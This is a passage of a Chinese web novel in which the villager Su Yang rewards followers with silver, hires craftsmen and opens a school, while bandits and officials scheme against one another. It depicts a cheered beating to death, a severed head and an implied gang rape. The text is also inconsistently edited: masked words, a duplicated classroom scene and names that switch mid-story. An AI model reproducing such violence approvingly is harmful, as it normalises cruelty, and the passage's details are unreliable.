“砰”的一声巨响,木箱被重重地放在地上,震起一片尘土,也震得人心头一颤。 “都给老子看清楚了!这是啥?” 苏阳指着木箱,声若洪钟,震得人耳膜嗡嗡作响。 “银……银子?” 有人试探着回答,声音都在打颤。 “没错!就是银子!白花花的银子!” 苏阳猛地一挥手,陈木生立刻上前,一把掀开箱盖。 刹那间,一道耀眼的光芒,从箱子里迸射而出,晃得人睁不开眼。 “我的娘咧……” “这……这么多银子!” “发财了!发财了!” …… 人群瞬间沸腾,像煮开了的水,咕嘟咕嘟冒着泡。 所有人的眼睛都直了,死死盯着箱子里的银子,恨不得扑上去咬一口。 “都给老子听好了!” 苏阳的声音再次响起,盖过了所有的喧嚣。 “昨儿晚上,跟着老子去三溪镇的,一个都不能少!每人……十两银子!” 苏阳故意拉长了声音,加重了“十两”两个字的语气。 “啥?十……十两?” “我……我没听错吧?十两银子?” “天爷啊!这……这比过年还热闹啊!” “苏二哥……苏二哥真是活菩萨啊!” “跟着苏二哥,有肉吃,有酒喝,有银子花!” …… 人群彻底疯狂了,欢呼声、尖叫声、赞叹声,此起彼伏,响彻苏霄。 就连苏阳手下的那些个小子,也没想到苏阳会突然发这么多银子。 一个个喜出望外,激动得差点跳起来,恨不得抱着苏阳亲一口。 “阳哥儿真是……真是太大方了!这简直是……济富童子啊!” “跟着阳哥儿,这辈子值了!” “阳哥儿威武!阳哥儿仗义!” …… 众目睽睽之下,从箱子里抓出一把又一把的银子,那感觉,简直比娶媳妇还舒坦! 这份荣耀,这份风光,这份实实在在的好处,比啥都强! “陈师傅,杨师傅,江师傅,你们几个……愣着干啥?过来领银子啊!” 苏阳的目光,落在了人群外围的几个匠人身上,笑眯眯地招呼着。 “啊?我们……我们也有份?” 陈木匠和杨、江两个石匠,一脸的难以置信,像是听到了天方夜谭,又像是天上掉下了馅饼。 他们又没上阵杀敌,也没摇旗呐喊,凭啥领银子? “当然有!昨儿晚上跟着去三溪镇的,一个都不能少!你们几个,虽然没直接参战,可把大伙儿安全带进带出,这就是功劳!没有你们,大伙儿能这么顺利?去,都去领!这是你们应得的!” 苏阳斩钉截铁地说,语气不容置疑。 他要让所有人都明白一个道理: 只要跟着他苏阳干,不管是出力的,还是出技术的,甚至是摇旗呐喊的,都有肉吃!都有奔头! “对了,陈师傅,这事儿……先别声张。私底下,找眼煞豹和麻脸虎打听打听,看看能不能找到你家麻虎的媳妇,这事得抓紧。” 苏阳压低了声音,特意叮嘱了一句,眼神中闪过一丝不易察觉的精光。“西家,您这是……让俺们审那俩畜生?” 陈木匠的身子猛地一颤,浑浊的老眼里,泪水再也忍不住,扑簌簌地往下掉。 这仇,他憋得太久了! 想问,不敢问。 眼煞豹是啥人? 那是三溪镇的一霸! 说是他家小儿子欠了赌债,可谁不知道那是眼煞豹设的套? 光天化日,众目睽睽,硬生生抢走了他家大儿媳! 老伴儿受不了这打击,一口气没上来,人就没了! 这血海深仇,比那几个**家人的石匠,只多不少! 苏阳能让陈木匠亲手审问,这份恩情,比天还大! “西家,您的大恩大德,俺们父子……就是做牛做马也报答不完啊!” 陈木匠哽咽着,双膝一软,就要跪下。 苏阳连忙一把扶住:“陈师傅,这是做啥!快起来,快起来!” 眼煞豹和麻脸虎早被苏阳收拾得没 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怎么解恨怎么来! 围观的村民越来越多,看着眼前这血腥的一幕,不少人都吓得脸色发白。 有几个胆小的,甚至偷偷往后退了几步。 可更多的人,却是看得热血沸腾,眼睛都红了! “打得好!这种畜生,就该千刀万剐!” “**,看着真解气!” “你们知道个屁!这眼煞豹,可是三溪镇出了名的恶霸!听说他手底下养了一帮打手,凶残着呢!” “那又咋样?还不是栽在了苏二爷手里?” “苏二爷那是真英雄!真豪杰!” “呸!少拍马屁!苏二爷能给你啥好处?” …… 议论声中,夹杂着眼煞豹和麻脸虎的惨叫声。 那声音,越来越弱,越来越低…… 最后,彻底没了动静。 几个匠人,也打累了,一个个瘫坐在地上,呼哧呼哧地喘着粗气。 众人小心翼翼地凑过去一看…… “我的娘咧……” 有人忍不住惊呼出声。 眼前的景象,已经不能用“惨”字来形容了。 第一百八十七章 眼煞豹和麻脸虎,早就没了人形,彻底成了一堆烂肉。 苏阳皱着眉头,强忍着胃里的不适,走到几个匠人面前。 “几位师傅,人都已经**,你们也……节哀。” 苏阳顿了顿,换了个说法, “这样,与其让这两个**的尸体烂在地里,不如让他们发挥点最后的用处。” 他指了指那堆烂肉, “几位师傅,你们把眼煞豹这些年在三溪镇干的坏事,都给大伙儿说说,也让大伙儿知道知道,这世上,究竟有多少丧尽天良的恶人!” 苏阳这一手,看似简单,实则用心良苦。 他要让村民们明白,这世道,有多黑暗! 他要让村民们看清楚,谁才是他们的敌人! 几个匠人正愁一肚子的话没地方说呢,听苏阳这么一说,立刻来了精神。 陈木匠擦了把脸上的血污和泪水,第一个站了出来。 “乡亲们,你们是不知道啊!这眼煞豹,他就是个披着人皮的畜生!” 陈木匠的声音,嘶哑而颤抖,每一个字,都像是从牙缝里挤出来的。 “他在三溪镇,那是只手遮天!谁要是敢惹他,轻则家破人亡,重则……重则……” 陈木匠说不下去了,捂着脸,呜呜地哭了起来。 几个石匠也跟着哭。 他们一边哭,一边控诉着眼煞豹的种种罪行。 强抢民女,逼良为娼,草菅人命…… 眼煞豹干的坏事,罄竹难书! 村民们听得是目瞪口呆,浑身发冷。 他们怎么也想不到,这世上,竟然还有这么坏的人! “这……这还是人吗?” “简直就是个魔鬼!” “这种人,就该下十八层地狱!” 没等几个匠人把话说完,群情激奋的村民们就再也忍不住了。 他们一拥而上,对着眼煞豹和麻脸虎的尸体,又是一阵拳打脚踢。 “打死这俩畜生!” “为民除害!” “……” 叫骂声,哭喊声,响成一片。 经过这一出,村民们对苏阳的敬畏,又深了一层。 如此凶残的恶霸,在苏二爷面前,竟然连个屁都不敢放! 苏二爷的手段,简直是通天了! 很多人都在想,苏二这小子,到底是怎么变得这么厉害的? 想当初,他还是个游手好闲的二流子,这才多久? 简直就像是换了个人! 难怪村正都不敢跟他对着干,苏二爷,那是真有两把刷子! 一片喧闹声中,林绮娘带着几个妇人,挑着担子走了过来。 “都让让,让让啊!粥来啦!” 林绮娘清脆的嗓音,在人群中格外响亮。 “大家伙儿都辛苦了,来,排好队,每人一碗粥!” 林绮娘一边招呼着,一边指挥几个妇人把粥桶放下。 “谢谢阳哥儿!” “阳哥儿敞亮!” 村民们一听有粥喝,一个个都来了精神,纷纷涌了过来。 不过,这次他们可不敢乱哄哄的了,都自觉地排起了队。 苏阳定的规矩,谁也不敢不听! “慢点,都有份啊,别急!” “一人一碗,不许抢!” 苏阳站在一旁,看着眼前这热火朝天的景象,心里暗自盘算。 青龙村一百多户人家,全部加起来,少说也有几百近千口子人。 请这么多人喝粥,花销可不是个小数目。 不过,精打细算下来,倒也还能承受。 熬粥嘛,水多米少,一斤米出个七八碗不成问题。 再说了,又不是让大家敞开肚皮喝,每人一碗,也花不了多少。 粗略一算,百来碗粥,顶多也就是几十斤小米。 按市价,一斤小米几文钱,总共算下来,也就几百文,连一两碎银都不值! 花这么点小钱,就能收买一次人心,这买卖,划算! 不过,苏阳也清楚,这种事儿,不能常干。 偶尔来这么一次,大伙儿会念你的好。 可要是天天这么搞,就容易养出一群白眼狼。 到时候,你给少了,他们还不乐意呢! …… 与此同时,清阳县西门外。 官道旁,一片小树林里。 郑县尉和严都生,正脸色铁青地站在几棵树下。 树上,挂着几具尸体。 尸体已经开始腐烂,散发着阵阵恶臭。 其中有两具,穿着县衙的公服,一看就知道是衙役。 另外几具,看穿着打扮,像是清阳县的地痞流氓。 树干上,还刻着一行歪歪扭扭的字,是用鲜血写的: “清阳狗官,竟敢算计青虎岭好汉,等着人头落地吧!” 郑县尉和严都生一看这字,就知道坏了。< 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“来人!给我挖开看看!”几个捕快手脚还算利索,没几下就挖开了土堆。 “嘶……” 一阵倒吸凉气的声音此起彼伏。 眼前这景象,让在场的所有人都惊得说不出话来。 事情,大条了! 土堆里,四具尸体横七竖八地叠在一起,死状一个比一个惨。 “啊……” 突然,一个年轻捕快脸色煞白,指着其中一具尸体,声音都开始打颤: “吴……郑县尉,我……我,我认识他!” 郑县尉眉头紧锁,却没说话,只是微微点了点头,示意他继续说。 这年轻捕快咽了口唾沫,结结巴巴地说:“他……他是凤子楼,肥掌柜家的……一个亲戚,听说是从外地新来投奔的!” “嘶……” 这下,郑县尉和严都生也绷不住了,齐齐倒吸一口凉气。 都是在衙门里混了多年的老油条,哪能猜不到这其中的猫腻? 这四具尸体,十有**就是青虎岭的土匪! 要不然,谁会费这么大劲把他们埋在这荒郊野岭? 可问题是,凤子楼肥掌柜的亲戚,怎么会是青虎岭的土匪? 这事儿,可就大发了! 第一百八十八章 更让郑县尉和严都生心里发毛的是,如果肥掌柜那个新来的亲戚是青虎岭的土匪,那前不久请他们花天酒地的顾峰,又会是什么来头?难不成,顾峰也是青虎岭的人,而且还是个有头有脸的人物? 想到这儿,郑县尉下意识地和严都生交换了一个眼神,两人都感觉头皮一阵发麻。 我的老天爷!跟大哥混的事情要是被人知道了,别说这乌纱帽了,恐怕连项上人头都难保! 这可如何是好? 郑县尉心里像揣了十五只兔子,七上八下的,没了主意。 是假装什么都不知道,先把这事儿给糊弄过去? 还是立刻带人回去,把那个姓肖的抓起来,来个先下手为强,让他永远闭嘴? …… 郑县尉和严都生还在犹豫不决。 另一边,清阳县西城,肥掌柜的五进大宅里。 “砰!” 顾明远把一个沉甸甸的口袋,狠狠地摔在了肥掌柜的面前。 他一脸狞笑:“找死的玩意,自己打开看看吧!” 口袋还没打开,一股浓烈的血腥味就扑鼻而来,熏得肥掌柜差点没背过气去。他感觉两腿发软,心里“咯噔”一下,有了一种不祥的预感,这多半不是什么好玩意。 肥掌柜哆哆嗦嗦地解开了袋子的系绳,仅仅往里瞟了一眼,就“嗷”的一声,两眼一翻,直接晕死过去! “哗啦!” 一盆冰凉的井水,兜头盖脸地泼在了肥掌柜的脸上,把他硬生生给浇醒了。 “儿啊,我苦命的儿啊,你怎么就这么去了……” 肥掌柜一个激灵,彻底清醒过来,看清了袋子里的东西,顿时撕心裂肺地嚎啕大哭起来。 那血淋淋的,不是别的,正是他二儿子的人头! 一想到自己那?1?2?1?0?1?7十七岁、还没来得及娶媳妇的二儿子,肥掌柜就悲痛欲绝,哭得死去活来,恨不得替儿子**! “为什么?!” 肥掌柜猛地抬头,死死地盯着顾明远,眼睛里充满了血丝,像是要**! “姓肖的,你为什么要杀我的二虎?!我和你拼了!” 顾明远一脚踹在肥掌柜的肚子上,把他踹了个四仰八叉。 “呸!老东西,还敢跟我横?”顾明远啐了一口,恶狠狠地说,“你儿子坏了老子的好事,死有余辜!我问你,是不是你派人去劫了老子送回山寨的货?” 肥掌柜被踹得岔了气,趴在地上,半天才缓过劲来。 他喘着粗气,嘶吼道:“姓肖的,别在这胡说八道!老子天天被你的人看得死死的,哪有机会去派人?你这是栽赃陷害!” “栽赃?”顾明远冷笑一声,“你以为老子是傻子?除了你,还有谁会这么干?” 他顿了顿,又补充道:“再说,就算真是别人干的,那也是你的人!那些钱,原本就是你的,你肯定不甘心!” “放屁!”肥掌柜破口大骂,“那些钱早就被你抢走了,跟老子有什么关系?要真是老子的人干的,老子还用得着被你关在这儿?” “哼,少跟我耍嘴皮子!”顾明远根本不听肥掌柜的辩解,他狞笑着逼近一步,“我再给你最后一次机会。说,你把那些银子藏哪儿了?那些人,又是你从哪儿找来的?” 肥掌柜气得浑身发抖,他知道,自己这次是在劫难逃了。 “压根就不是**的!那些银子也早就被你抢走了!” 肥掌柜的声音嘶哑而绝望,“姓肖的,你个挨千刀的!迟早有一天,你会遭报应的!” “报应?”顾明远哈哈大笑,“老子就是你的报应!” 他一把揪住肥掌柜的头发,强迫他抬起头来。 “老东西,给你24小时考虑。明天这个时候,你要是还敢嘴硬,你其他两个崽子也别想活着!” “啊啊啊!姓肖的,你不得好死!你迟早遭报应……” 肥掌柜像一头受伤的野兽,声嘶力竭地咒骂着。 可惜,他的咒骂毫无作用。 顾明远根本不为所动,甚至还当着肥掌柜的面,让手下开始欺负他的老婆。 那婆娘虽说已是半老徐娘,但风韵犹存,顾明远早就玩腻了,直接分给兄弟们,让他们也开开荤,尝尝这城里贵妇人的滋味! 肥掌柜眼睁睁地看着这一切,却无能为力,他悔得肠子都青了。早知如此,当初还不如直接把银子给苏阳,至少还能保住一家老小的性命! 现在倒好,银子没了,人也要没了,这可真是…… “啊啊啊……姓肖的, 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“我老钱啥时候骗过人?这可是苏阳小哥亲口答应的!人家说了,只要肯卖力气干活,别说顿顿有肉了,顿顿吃席都行!” “就是!”许木匠也在一旁帮腔,“你们是不知道,苏阳小哥那可是个大好人!我们家遭了难,他二话不说,就给了我们一大笔银子,还帮我们安葬家人……这份恩情,我们这辈子都还不完!” “苏阳?” 人群中有人提出了质疑。 “就是那个得罪了眼煞豹的愣头青?他有这么好心?” “眼煞豹可是放过话的,谁敢去青龙村干活,让他们全家团圆去!你们就不怕?” “怕个屁!”朱木匠脖子一梗,“眼煞豹算个啥?他还能一手遮天了不成?” “就是!”许木匠也跟着附和,“有苏阳小哥在,眼煞豹敢来,就让他有来无回!” 两人说得信誓旦旦,可三溪镇的人还是将信将疑。 毕竟,眼煞豹的凶名在外,可不是闹着玩的。 就在大伙儿议论纷纷的时候,一个更劲爆的消息,像长了翅膀一样,传遍了整个三溪镇! “听说了吗?眼煞豹的赌馆,出大事了! 第一百八十九章 ” “出啥事了?难不成是眼煞豹输光了裤衩?” “输个屁!眼煞豹**!连带着他手下那帮人,一个都没跑掉,全都被人给宰了!” “啥?!” 这个消息,就像是一颗重磅**,把所有人都给炸懵了。 眼煞豹**? 这怎么可能? 他可是三溪镇的一霸,谁敢动他? “真的假的?你可别瞎说啊!” “骗你干啥?不信你去赌馆看看,保证吓死你!” “我可不敢去,听说那里现在跟修罗场一样,到处都是血和尸体……” “哎哟,我的娘啊,这也太吓人了……” 消息越传越邪乎,三溪镇的人也越来越信。 毕竟,无风不起浪嘛。 “这眼煞豹,平日里坏事做绝,**也是活该!” “就是,也不知道是哪位好汉,替咱们除了这一害!” “可不是嘛,这下好了,咱们三溪镇,总算是能太平几天了……” 和普通百姓的拍手称快不同,吕管事的脸色,却阴沉得几乎能拧出水来。 “查!给我一查到底!” 吕管事猛地一拍桌子,茶碗都震得跳了起来。 “到底是谁吃了熊心豹子胆,居然敢动我的人,跑到咱们三溪镇来撒野?!” “眼煞豹**不要紧,可这事儿要是传出去,咱们的脸面往哪儿搁?” “要是让上头知道了,还以为咱们连一个小小的三溪镇都管不好,那还了得?!”吕管事脸色黑得像锅底,一巴掌拍在桌子上,茶碗都震得直跳:“查!给我查个底朝天!” 手下人连滚带爬地去查,回来禀报说眼煞豹的尸首不见踪影,只在地上发现了一行血字。 吕管事凑过去眯着眼一瞅,只见那字迹歪七扭八,写的是:“何老贼,竟敢动我们青虎岭的人,定要杀你全家!” 明眼人一看就知道是青虎岭的土匪来寻仇。 可吕管事心里清楚,他可没招惹过青虎岭那帮亡命徒。 “这事……透着古怪!”他捻着山羊胡,眉头拧成了疙瘩,“问题怕是出在吕巡检那儿。” 三溪镇真正做主的是吕巡检。 吕巡检最近身子抱恙,这才把大小事务推给吕管事。 青虎岭的土匪最近闹腾得厉害,吕管事自然有所耳闻。 三溪镇周边的村子,时不时就有人失踪,男的女的都有,在地里干活的,走亲戚的,莫名其妙就没了。 “这帮挨千刀的!”吕管事心里暗骂,这事八成是青虎岭那帮畜生干的,错不了。 吕管事本来对这些泥腿子的死活并不上心。 可现在事关自己的脑袋,他哪还敢怠慢? 吕管事急匆匆地赶往孟府,一路小跑,心里直打鼓。 见到吕巡检,他添油加醋地把事情说了一遍。 吕巡检一听,气得“呼”地一下站起来,脸红脖子粗,像只被踩了尾巴的猫。 “反了天了!”他一拳砸在桌子上,茶杯盖子“咣当”一声掉在地上,摔了个粉碎,“敢在我三溪镇**,还敢留下字条威胁我?” 他在屋里转来转去,像只困兽。 “真以为我何某人是吃素的?” “来人,”吕巡检扯着嗓子喊道,手指关节捏得咯咯作响,“派人召集各村村长,三天后,每村带一百个壮丁到三溪镇集合,老子要亲手平了青虎岭!” 他咬牙切齿,像是要把谁生吞活剥了。 “不灭了这帮**的,老子连觉都睡不踏实!” …… 与此同时,玉泉县衙门。 郑县尉和严都生正密谋着同一件事。 两人交换了一个眼神,都从对方的眼中看到了狠辣。 “要我说,先拿那肥掌柜开刀。”郑县尉摸着下巴上的几根胡须,眼里闪着阴光。 严都生点点头表示赞同:“嗯,那胖子肯定跟土匪是一伙的。” “土匪都摸到他家里了,他居然不报官?”郑县尉越说越气,声音也提高了八度,“不报官也就罢了,还帮着土匪打掩护,连小妾都送给人家快活?” 他猛地一拍桌子,唾沫阳子四溅:“这里面要是没鬼,我把脑袋拧下来给你当球踢!” “来人,去把凤子楼的肥掌柜给我‘请’来,就称有急事需要讨论。” 郑县尉嘴角露出一丝冷笑。 两人商量妥当,准备来个瓮中捉鳖。 先拿下肥掌柜这条地头蛇,再收拾顾峰那些人,还不是手到擒来? 可是,左等右等,肥掌柜没等到,等来的却是顾峰。 顾明远也是没法子了。< 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面对顾明远递上来的房契、地契,还有**契,肥掌柜已经彻底麻木,连挣扎的力气都没了。 他心如死灰,知道自己这回是彻底完了。 家产都归人家了,爱咋咋地吧! 好在顾明远还算有点分寸,没赶尽杀绝,暂时留了肥掌柜父子一条活路。 “留着这俩货还有点用,”顾明远心里盘算着,“有些事还得靠他们出头,真把他们逼上绝路,大家都没好果子吃。” …… 第二天,青龙村热热闹闹地来了不少人。 有做木工的,有砌石头、盖房子的,还有两个会烧窑的师傅。 这些人都是听说青龙村招工,而且给的工钱不少,才过来看看。 虽说心里还有些嘀咕,但大冷天能找到活儿干就不错了,谁还敢挑三拣四? 苏阳一看这些匠人,个个面带菜色,瘦得皮包骨头,就知道他们平时没少挨饿。 他也没多说啥,直接吩咐林绮娘和王婶架起大锅,熬了一锅香喷喷的小米粥。 “各位师傅,都过来喝碗粥,暖和暖和身子! 第一百九十章 ”苏阳热情地招呼着。 热粥下肚,浑身舒坦。 匠人们心里那点疑虑也消了大半。 “天天吃肉怕是吹牛,”一个上了年纪的石匠吧嗒着嘴说,“不过西家出手大方倒是真的。” “谁还指望顿顿吃肉啊,”另一个匠人接过话茬,“能吃饱肚子就烧高香了。” “一天三顿,还顿顿有肉?”一个年轻的匠人直摇头,“想都不敢想!” 到了用膳时分,所有人都惊呆了。 桌上不仅有雪白的大馒头,还有香气扑鼻的肉丝炒豆芽! “这……”一个匠人使劲揉了揉眼睛,以为自己看花了眼。 “那几个石匠说的……难道是真的?” “给人干活,还能吃这么好的饭菜?” “以前咋就没遇到过这种好事呢?” “眼煞豹真是死得好!”一位老木匠感叹道,“要不是他死翘翘了,我哪能找到这么好的活计!” 苏阳现在是饥不择食,不管啥样的匠人,来者不拒全收下。 “卧龙沟北边有的是地方,”他心里美滋滋地想着,“钱也不是问题,尽管敞开了造!” …… 次日,卧龙沟北岸的建设正式动工。 人手不够,苏阳把孔远山、路旭东,还有毕明志的老爹都请了过来。 苏阳把他们三个叫到一起,正色道:“三位,北岸的建设就交给你们了,成立一个‘三人小组’,给我把活儿干漂亮了!” “西家您就瞧好吧,保证出不了岔子!”三人信誓旦旦地保证。 苏阳一口气上了三个项目。 头一个,就是卧龙沟上的木桥。 “现在木匠人手充足,”苏阳跟孔远山强调,“建桥的速度得加快,这是头等大事!” “路不通,啥都白搭。牛车马车过不来,干活的效率就上不去。” 第二个项目,是建砖窑。 “烧砖没啥难的,”苏阳跟两个窑匠交代,“老话说得好,‘秦砖汉瓦’,说明老祖宗早就掌握了这门手艺。” “以前青龙村没人盖砖瓦房,还不是因为穷。” 苏阳突然话锋一转:“说错了,竟然发现一户人家安了砖瓦大宅,正是赖志成村正的宅院,几代人的地主老爷,盖几间青砖房算个啥。” 苏阳继续说道:“既然要盖房,砖瓦就不能少。从外面买,路途远不说,主要是费钱。而且买的量少了不划算,量大了容易招人眼红。” “青龙村周围可不太平,真要是让土匪知道咱有钱了,不来抢才怪!” “所以,必须自己烧砖!” 苏阳大手一挥,指着卧龙沟:“这第三个项目,就是水利工程。趁着冬天水少,在卧龙沟上建个水坝,把水拦起来,以后浇地、用水都方便,这是造福子孙后代的大好事!” “修桥、烧砖、建水坝,这就是咱们年前要干完的活儿。”苏阳看着眼前这片忙碌的土地,心里却犯了难,“这三个项目一起上马,需要的人手可不是一个小数目啊……” “到哪儿去找这么多人呢?”苏阳心里跟明镜似的,几个主意来回过,最后还是拍板,得发动群众。 他起初是想全用自己人,可眼下这局面,需要的劳力实在太多,光靠自己人,那是杯水车薪,远远不够,必须得招些临时帮工。 主意一定,苏阳就把话放出去了: “乡亲们听好了,凡是愿意来我这儿上工的,除了每天三顿饭管饱,每天还能额外领到两升口粮!” 这话一出口,就像平地里炸了雷,瞬间传遍了青龙村的每一个角落,把村里人震得七荤八素。 你要知道,在大元朝这地界儿,生产力摆在那儿,想找份差事? 别说正经差事了,就是打个短工,那也比登天还难! 没点儿手艺,没人脉? 您哪儿凉快哪儿歇着去! 要不咋说,每年冬天都有那么多人熬不过去,活活饿死呢。 苏阳这条件一开出来,直接把青龙村人的三观给震碎了。 “啥玩意儿?一天管三顿饱饭?还……还能领到两升口粮?” “我滴个老天爷,我这是听岔劈了吧?” “苏二这小子,怕不是烧糊涂了吧?” …… 村里人炸开了锅,议论纷纷,都觉着这事儿不靠谱,跟做梦似的。 可仔细一琢磨,苏二这小子,自从上次摔坏了脑子,醒过来之后,干的哪件事儿靠谱过? 可人家偏偏就给办成了! 别提还包三餐,还额外给两升粮食了,这俩条件但凡占一个,那来报名的人,能从村头排到三 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赖志成气得一巴掌拍在桌子上,茶碗都蹦起来老高, “你这是存心跟我过不去啊!” 赖志成心里这个恨啊,简直比吞了苍蝇还难受。 可他转念一琢磨,整个青龙村,从东头数到西头,能请得起人的,不就剩他韩家了么…… 闹了半天,他这不是替别人瞎操心,压根儿就是替他自己个儿! 这下可倒好,以后他再想雇人干活,这价钱可就没法压了。 还想回到从前,不给工钱? 除非苏二这小子现在就蹬腿儿,否则借他赖志成俩胆儿,他也不敢这么干! 招工的告示贴出去还不到一个时辰,苏阳家门口就围满了人。 那场面,比庙会赶集还热闹三分。 可苏阳站在门口,却绷着一张脸,压根儿没有照单全收的意思。 他招工可是有讲究的:每家只要一个壮劳力,岁数还得卡在十六到五十之间。 苏阳可不是搞性别歧视那一套,他这是干正事儿,修桥、烧砖、建水坝,哪个不是重体力活? 第一百九十一章 男人干着都费劲,更别说女人了。 他可不想把人给累出个好歹来。 真要出了人命,苏阳倒是不怕,毕竟这年头人命贱如草芥,也没人会追究。 但他骨子里还是现代人的思维,干不出那种草菅人命的事儿。 要说这苏阳,心眼儿也不坏。 他说了,要是哪家实在缺壮劳力,只剩下孤儿寡母的,他也不能不管。 像是洗衣做饭这些轻省的活儿,也可以安排给她们。 横竖做饭也得用人,用谁不是用? 都是一个村儿的,有能力就伸把手。 这种顺手人情的事儿,又不费他什么劲儿,干就完了? “苏二哥,您瞧我中不?我这膀子力气,可不比大人差!” 一个半大小子挤到苏阳跟前,把胸脯拍得“砰砰”响。 苏阳上下打量了他一番,眉头一皱: “你小子,不在家好好念书,跑这儿来捣什么乱?” “我……” “滚蛋!” 苏阳不等他说完,直接打断了他, “**都没长齐呢,就想出来混?都给我滚回去念书!” 原本风平浪静的书院,这会儿却炸开了锅。 小孩子们哪里见过这场面,全都吓得瑟瑟发抖。 苏阳背着手,在教室里来回踱步,目光从每个孩子的脸上扫过。 “都给我听好了!” 苏阳突然提高了嗓门, “从今儿个起,谁要是敢在书院里胡闹,就别怪我不客气!” 他这话可不是说着玩的。 苏阳深知,对付这帮野惯了的孩子,光靠哄是不行的,必须得来点儿狠的。 这些孩子平日里在家,哪个不是被爹娘揍大的? “苏先生,俺们不闹,俺们听话……” 一个小丫头怯生生地说道。 “听话?” 苏阳冷笑一声, “光嘴上说听话可不行,得拿出点儿实际行动来!” 说着,他指了指钱晓柔和翠环: “这两位,是我特意从城里请来的先生,学问大着呢!你们以后都得听她们的,谁要是敢不听话……” 苏阳故意顿了顿, “就别怪我手里的家伙不认人!” 他这话一出口,钱晓柔和翠环吓得脸都白了。 两人对视一眼,都从对方的眼中看到了惊恐。 这也太吓人了! 苏阳这哪是在教书育人,简直就是在威胁恐吓! “苏公子,这……这不妥吧?” 钱晓柔鼓起勇气,小声说道, “孩子们还小,不懂事,您别吓着他们……” “吓着他们?” 苏阳一瞪眼, “慈母多败儿!你们女人家,就是头发长见识短!” “我……” 钱晓柔被苏阳怼得哑口无言,一张俏脸涨得通红。 苏阳可没工夫跟她磨叽,他还有更重要的事要做呢。 让青龙村的村民们做梦都想不到的是,苏阳放出的好消息还不止这一个。 但凡给他打工的人,家里只要有适龄的孩子,都可以送到他准备开办的书院里来! 当然,这也不是无条件的。 进书院的孩子,年龄必须卡在七岁到十二岁之间,而且书院可不管饭。 最要紧的是,机会稍纵即逝。 要是犯了错被书院撵出来,那可就再也回不去了。 这消息一传开,整个青龙村都沸腾了! “啥?读书?苏二要办书院?真的假的?” “我的老天爷,这可是天大的好事啊!” “我家那小子,这下可有指望了!” ……苏阳把写着大大“人”字的黑板往那一立,浓眉一拧,活像个凶神: “都给老子听好了,今天就学这个‘人’字,谁要是学不会……” 他故意拉长了声音,目光刀子一样刮过一张张小脸。 “……就别怪老子手里的树枝不认人!” “苏,苏公子,这……不太好吧?” 钱晓柔吓得一哆嗦,差点把手里的书本扔了。 她和翠环交换了个眼神,都是一脸惊恐。 这哪是教书育人,分明是上刑! “孩子们还小呢,您可别吓坏了他们……” 钱晓柔鼓起勇气,声音细得像蚊子叫。 “吓着?”苏阳眼珠子一瞪,唾沫阳子差点喷钱晓柔脸上,“慈母多败儿!你们女人懂个屁!” 钱晓柔脸“腾”地一下红到了脖子根,嘴唇哆嗦着,一个字也说不出来。 苏阳可没工夫搭理她,转过身,继续盯着那群小萝卜头。 他让孩子们在简陋的沙盘上,用树枝歪歪扭扭地练习。 没办法,条件有限,只能将就。 其实,青龙村里适龄的孩子,压根就没来全。 有些孩子要帮家里下地,有些要照看弟妹,还有些身体弱,来不了 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当然,这些话,苏阳是不会跟这两个丫头片子说的。 说了她们也不懂,纯属浪费口舌。 简单教完,苏阳就准备撂挑子,把这帮孩子交给钱晓柔和翠环。 可又一想,这俩丫头片子能行吗? 别回头再让这帮皮小子给欺负哭了。 他一拍脑门,有了主意。 “绮娘,你过来一下!” 苏阳把林绮娘从人群里薅出来,让她看着这帮孩子。 谁敢不听话,直接上“家法”! 林绮娘是谁? 那可是苏阳未来的小娘子! 这帮小子,就算吃了熊心豹子胆,也不敢跟她炸刺。 “绮娘啊,你也别光顾着管他们,自己也得跟着学。这可是个好机会,别白白浪费了!” 苏阳又叮嘱了林绮娘几句。 其实,不用他说,林绮娘心里也憋着一股劲呢。 她可不想让那两个城里来的姑娘给比下去。 论长相,论打扮,她都比不过人家。 要是再没点学问,那还不得让自家二哥给嫌弃死? 为了不让二哥变心,林绮娘暗暗发誓,拼了这条小命,也得把书给读好! 第一百九十二章 …… 卧龙沟北岸,热火朝天。 孔远山、路旭东、毕明志他爹,一个个干劲十足。 苏阳给的工钱高,还管饭,这种好事,打着灯笼都难找! 为了让这几位老哥们更卖力,苏阳还特意给他们涨了工钱。 寻常百姓每日两升口粮,他们仨,直接翻倍,四升! 他们的婆娘也能来厂区做饭,除了管饱,每天还能再挣两升粮食。 里里外外算下来,一家子的收入,在青龙村绝对是数一数二。 那些匠人,自然不能和普通村民一个价。 干手艺活的,讲究个技术。 技术越好,工钱越高。 陈木匠手艺精湛,除了管饭,一个月能拿一两银子。 他大儿子稍微差点,八钱银子。 杨、江两位石匠,也是八钱。 他们的儿子,手艺再差些,半两碎银便可搞定。 这都是行里的规矩,苏阳也没打算破。 不过,虽然不能明着加工钱,但可以变着法儿地给补贴嘛。 逢年过节,发点米面粮油,谁也说不出啥。 更何况,苏阳管吃管住,还顿顿有肉,这待遇,整个三溪镇都找不出第二家! 光凭这一点,就够让那些匠人抢破头了。 苏阳就是要让所有人都知道,他苏阳,就是这么大方! 他要让自己的名声,传遍三溪镇,传遍清阳县,甚至传到更远的地方! 这年头,信息闭塞,想出名,就得靠口口相传。 苏阳想要在这乱世立足,没有名声,可不行。 正当苏阳盘算着怎么把工程再扩大一些的时候,一个消息,像一盆冷水,把他浇了个透心凉。 赖志成把村民们召集到晒粮场,一张脸阴沉得能滴出水来。 “都给老子听好了,镇上来了命令,要征徭役!每个村,一百个乡勇!” 这话一出口,人群里顿时炸开了锅。 乡勇? 那不就是要去打仗? 不去行不行? 当然不行! 这可是巡检老爷下的命令,谁敢不去? 可去了,又能有几个人活着回来? 大伙心里都清楚,当乡勇,那就是去送死! 赖志成也不知道征乡勇干啥,反正肯定不是啥好事。 要是修桥铺路,那叫民夫,不叫乡勇。 既然叫乡勇,那就得拿刀动枪。 可问题是,青龙村这帮穷鬼,上哪弄刀枪去? 就算有,也都是些破铜烂铁,根本没法用。 拿着这样的家伙去打仗,跟送死有啥区别? 苏阳站在人群里,脸色也不太好看。 赖志成站在土台上,眼睛不是眼睛,鼻子不是鼻子地斜睨着苏阳。 “苏二,这回你可跑不了了!一百个乡勇,你得出十个!” 他故意把“十个”两个字咬得特别重。 “还有你,”赖志成指着苏阳,狞笑道,“你也得跟着去!” 他心里那叫一个得意。 小兔崽子,这回看你怎么蹦跶! 本大爷亲自出马,非得让你小子掉层皮不可!赖志成咧嘴一笑,露出满口黄牙,他终于逮着机会了。 收拾苏阳? 这事他可惦记不是一天两天了。 最好能让那小子在战场上消失得无影无踪,省得以后碍眼! 